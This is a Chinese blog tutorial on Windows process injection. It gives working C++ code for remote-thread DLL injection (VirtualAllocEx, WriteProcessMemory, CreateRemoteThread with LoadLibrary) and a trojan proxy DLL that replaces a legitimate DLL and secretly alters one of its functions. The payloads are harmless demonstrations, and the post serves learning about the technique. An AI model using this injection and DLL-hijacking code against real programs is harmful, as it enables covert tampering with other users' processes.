进程注入的学习(中)

转载请声明出处:http://www.cnblogs.com/predator-wang/p/5076279.html

3. 利用远程线程注入DLL

   1)、取得远程进程的进程ID; 

 2)、在远程进程空间中分配一段内存用来存放要注入的DLL完整路径; 

 3)、将要注入的DLL的路径写到刚才分配的远程进程空间; 

   4 )、从Kernel32.dll中取得LoadLibray的地址; 

 5)、调用CreateRemoteThread函数以从Kernel32.dll中取得的LoadLibrary函数的地址为线程函数的地址,以我们要注入的DLL文件名为参数,创建远程线程;

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

  • CreateRemoteThread做一下简单的介绍:

CreateRemoteThread创建一个在其它进程地址空间中运行的线程(也称:创建远程线程).

  参数说明:

hProcess:目标进程的句柄
lpThreadAttributes:指向线程的安全描述结构体的指针,一般设置为NULL,表示使用默认的安全级别
dwStackSize:线程堆栈大小,一般设置为0,表示使用默认的大小,一般为1M
lpStartAddress:线程函数的地址,下面的例子中我们想创建的线程函数就是LoadLibrary。
lpParameter:线程参数,下面的例子中线程的参数就是LoadLibrary的参数"kernel32.dll"
dwCreationFlags:线程的创建方式(CREATE_SUSPENDED 线程以挂起方式创建)
lpThreadId:输出参数,记录创建的远程线程的ID

 

参数hProcess指明拥有新创建线程的进程,参数pfnStartAddr指明线程函数的内存地址,该内存地址和远程进程是相关的,线程函数代码不能在自己进程的地址空间中

 

如果写成这样:HANDLE hThread=CreateRemoteThread(hProcessRemote,NULL,0,LoadLibraryA,”C:\\MyLib.dll”,0,NULL);

直接在CreateRemoteThread中用LoadLibraryA和“C:\\MyLib.dll”做参数,则会出现问题:

1)当编译或链接一个程序时,产生的二进制代码包含一个输入节,这一节是有一系列输入函数的形式替换程序(thunk)组成。当代码调用一个如LoadLibrary函数时,链接程序将生成一个模块输入节中的形实替换程序并调用,然后,该形实替换程序便转移到实际的函数。在CreateRemoteThread的调用中使用一个对LoadLibrary的直接调用,则将在模块的输入节中转换成LoadLibrary的形实替换程序的地址,将形实替换程序的地址作为远程线程的起始地址来传递,会导致线程开始执行莫名其妙的代码。

解决方法是:若要强制直接调用LoadLibrary函数,避开形实替换程序,必须调用GetProcAddress函数,获取LoadLibrary的准确内存位置。对CreateRemoteThread调用的前提是,Kernel32.dll已经被同时映射到本地和远程进程的地址空间中,每个应用程序都需要Kernel32.dll,将Kernel32.dll映射到每个进程的同一个地址(kernel32.dll被加载到内存中,在内存中只存在一个kernel32.dll,本地进程和远程进程来说,都会调用这个地址上的kernel32.dll),如调用如下函数:

PTHREAD_START_ROUTINE pfnThreadRtn=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(“Kernel32”)),”LoadLibraryA”);

HANDLE hThread=CreateRemoteThread(hProcessRemote,NULL,0,pfnThreadRtn,” C:\\MyLib.dll”,0,NULL);

2)字符串” C:\\MyLib.dll”是在调用进程的地址空间中,该字符串的地址已经被赋予新创建的远程线程,该线程将其传递给LoadLibrary,但是,当LoadLibrary取消对内存地址的引用时,DLL路径名字符串将不再存在,远程进程的线程就可能引发访问违规,向用户显示一个未处理的异常条件消息框,并终止远程进程。(虽然调用的是HANDLE hThread=CreateRemoteThread(hProcessRemote,NULL,0,pfnThreadRtn,” C:\\MyLib.dll”,0,NULL);但这里面实际上是调用了LoadLibrary,其参数是”C:\\MyLib.dll”,所以当LoadLibrary执行完后,堆栈里就没有了”C:\\MyLib.dll”,远程进程后边再用到”C:\\MyLib.dll”时就访问不到了)

解决方法是:将DLL的路径名字符串放入远程进程的地址空间中,然后当CreateRemoteThread函数被调用时,必须将放置该字符串的地址(相对于远程进程的地址)传递给它,Windows提供了一个函数使得一个进程能够分配另一个进程的地址空间中的内存:

PVOID VirtualAllcoEx(

HANDLE hProcess,

PVOID pvAddress,

SIZE_T dwSize,

DWORD flAllocationType,

DWORD flProtect);

另一个函数则能够释放该内存:

BOOL VirtualFreeEx(

HANDLE hProcess,

PVOID pvAddress,

SIZE_T dwSize,

DWORD dwFreeType);

一旦为该字符串分配内存,还需要将该字符串从进程的地址空间拷贝到远程进程的地址空间中,Windows提供了一些函数,使得一个进程能够从另一个进程的地址空间中读取数据,并将数据写入另一个进程的地址空间:

BOOL ReadProcessMemory(

HANDLE hProcess,

PVOID pvAddressRemote,

PVOID pvBufferlocal,

DWORD dwSize,

PDWORD pdwNumbytesRead);

BOOL WriteProcessMemory(

HANDLE hProcess,

PVOID pvAddressRemote,

PVOID pvBufferlocal,

DWORD dwSize,

PDWORD pdwNumbytesWritten);

当在远程进程中创建新线程时,该线程立即调用LoadLibrary函数,并将DLL的路径名的地址传递给它。直接将LoadLibrary作为线程执行函数(所传递的参数就是远程线程的起始地址),会出先问题:

远程进程由hProcess参数来标识,参数pvAddressRemote用于指明远程进程的地址,参数pvBufferlocal是本地进程中的内存地址,参数dwSize需要传送的字节数,pdwNumbytesWritten和pdwNumbytesRead用于指明实际传送的字节数,当函数返回时,可查看这两个参数的值。

对此,执行步骤归纳如下:

1) 使用VirtualAllocEx函数,分配远程进程的地址空间中的内存;

2) 使用WriteProcessMemory函数,将DLL路径名拷贝到第一个步骤中已经分配的内存中;

3) 使用GetProcAddress函数,获取LoadLibrary函数的实地址(在kernel32.dll中);

4) 使用CreateRemoteThread函数,在远程进程中创建一个线程,调用正确的LoadLibrary函数,为其传递第一个步骤中分配的内存地址;此时,DLL已经被插入到远程进程的地址空间中,同时DLL的DllMain函数接收到一个DLL_PROCESS_ATTACH通知,并且能够执行需要的代码,当DllMain函数返回时,远程线程从它对LoadLibrary的调用返回到BaseThreadStart函数,然后BaseThreadStart调用ExitThread,使远程线程终止运行;现在远程进程拥有第一个步骤中分配的内存块,而DLL仍保留在它的地址空间中,若要将它删除,需要在远程线程退出后执行下面步骤:

5) 使用VirtualFreeEx函数,释放第一个步骤中分配的内存;

6) 使用GetProcAddress函数,获得FreeLibrary函数的实地址(在Kernel32.dll中);

7) 使用CreateRemotThread函数,在远程进程中创建一个线程,调用FreeLibrary函数,传递远程DLL的HINSTANCE;

对CreateRemoteThread的介绍暂时到此。

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

  • 示例:

先写一个要注入的DLL:

 

// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    //hInst = (HINSTANCE)hModule;
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)    //当一个DLL被进程加载时,所要执行的功能
    {
        HANDLE f = CreateFile(L"D:\\InjectSuccess.txt", FILE_ADD_FILE, FILE_SHARE_WRITE,
            NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
        CloseHandle(f);
        //hInst = (HINSTANCE)hModule;
    }
    return TRUE;
}

 

然后我们试图将这个DLL注入到远程进程。

 

我们先运行一个32位的程序,一会就将DLL注入到这个进程中(32位进程注入到64位进程会出现“拒绝访问”的错误):

 

#include <iostream>

using namespace std;

int main()
{
    cout << "HelloWorld" << endl;
    system("pause");
    return 0;
}

 

用tasklist查看进程ID:

并把下面OpenProcess的参数改为10756:

#include <iostream>
#include <windows.h>
using namespace std;

int main()
{
    LPDWORD lpThreadId = nullptr;
    LPWSTR lpszLibName = L"D:\\Coding\\test\\InjectDLL\\InjectDLL\\Debug\\InjectDll.dll";
    HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, 10756);
    //cout << hProcess << endl;
    LPWSTR lpszRemoteFile = (LPWSTR)VirtualAllocEx(hProcess, NULL, sizeof(WCHAR) * lstrlenW(lpszLibName) + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, lpszRemoteFile, (PVOID)lpszLibName, sizeof(WCHAR) * lstrlenW(lpszLibName) + 1, NULL);
    cout << lpszRemoteFile << endl;
    HMODULE hMod = GetModuleHandle("kernel32.dll");
    PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, // LoadLibrary地址  
        lpszRemoteFile, // 要加载的DLL名   
        0, lpThreadId);
    cout << hThread << endl;
    system("pause");
    return 0;
}

我们可以看到D盘中释放了:

 

参考:

http://www.programlife.net/remote-thread-dll-injection.html

http://andylin02.iteye.com/blog/459483

http://www.verydemo.com/demo_c173_i13894.html

4. 利用特洛伊DLL进行注入

这种方法的原理 就是由自己写一个与原有进程调用的DLL具有相同接口函数的DLL,再用我们的DLL替换原有的DLL。在替换的过程中,由我们自己编写感兴趣的函数替换 原有函数,而对其它不感兴趣的函数,则以函数转发的形式调用原有DLL中的函数。这里面有个前提,就是你在编写DLL时你必须知道原有DLL中的函数都有 哪些,以免导至其它进程调用DLL时找不到相应的API函数,特别是在替换系统DLL文件时更要小心。如果只想在单个应用程序中使用这个方法,那可以为自己的DLL给个独一的名字,并改变应用程序的.exe模块的输入节,并且只包含模块需要的DLL的名字。可搜索文件中的这个输入节,并且将它改变,使加载程序加载自己的DLL,需要数字.exe和DLL文件的格式。

  • 示例:

假设,我们有一个正常的DLL,testDLL.dll:

#include "stdafx.h"

//void __declspec(dllexport) __stdcall About()
extern "C" __declspec(dllexport) void About()
{
    MessageBoxW(NULL, L"这是本来的DLL文件!", L"原来的DLL", MB_ICONINFORMATION + MB_OK);
}

//int __declspec(dllexport) __stdcall Add(int a, int b)
extern "C" __declspec(dllexport) int Add(int a, int b)
{
    return (a + b);
}

而后我们要用恶意的ToryDLL.dll伪装成testDLL.dll,并把testDLL.dll更名为_testDLL.dll,这一步的实现在运行攻击者的exe程序时完成:

ToryDLL.dll的内容如下:

// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
#include <iostream>
#include <string.h>
using namespace std;
static string szDllName;

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        //这里实现伪装和替换
        szDllName = "D:\\Coding\\test\\testDLL\\testDLL\\Debug\\_testDLL.dll";
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    
    return TRUE;
}

typedef void(*ABOUT)();//声明一个原始DLL中ABOUT函数的原型

extern "C" __declspec(dllexport) void About()
{
    // 直接做函数转发给正常的testDLL.dll去执行
    
    HMODULE hDll = LoadLibraryA(szDllName.c_str());
    ABOUT about;
    if (hDll != NULL)
    {
        about = (ABOUT)GetProcAddress(hDll, "About");//调用原本的testDLL.dll中的about()函数
        if (about != NULL)
            about();
    }
    else
        MessageBox(NULL, L"载入原来的DLL错误!", L"特洛伊DLL", MB_ICONINFORMATION + MB_OK);
}

int Multiply(int a, int b)
{
    return (a * b);
}
//extern "C" __declspec(dllexport) int add(int a, int b)
extern "C"  __declspec(dllexport) int Add(int a, int b)
{
    int nRet;

    nRet = Multiply(a, b);

    return nRet;
}

攻击者先用自己的程序实现伪装和替换:

就完成伪装和替换:

如果有用户中了你的招,然后想要调用原本testDLL.dll中的add,就不会执行加法操作而是执行乘法操作,这里明明调用的是testDLL.dll中的Add:

得到的结果却是乘法:

而如果调用About:

则会得到原来testDLL.dll中调用About的结果:

因为我们的恶意DLL把这个函数转发给_testDLL.dll去执行了。

参考:

http://www.cnblogs.com/okwary/articles/1358829.html

 

 

posted @ 2015-12-25 16:21  _No.47  阅读(2709)  评论(0编辑  收藏  举报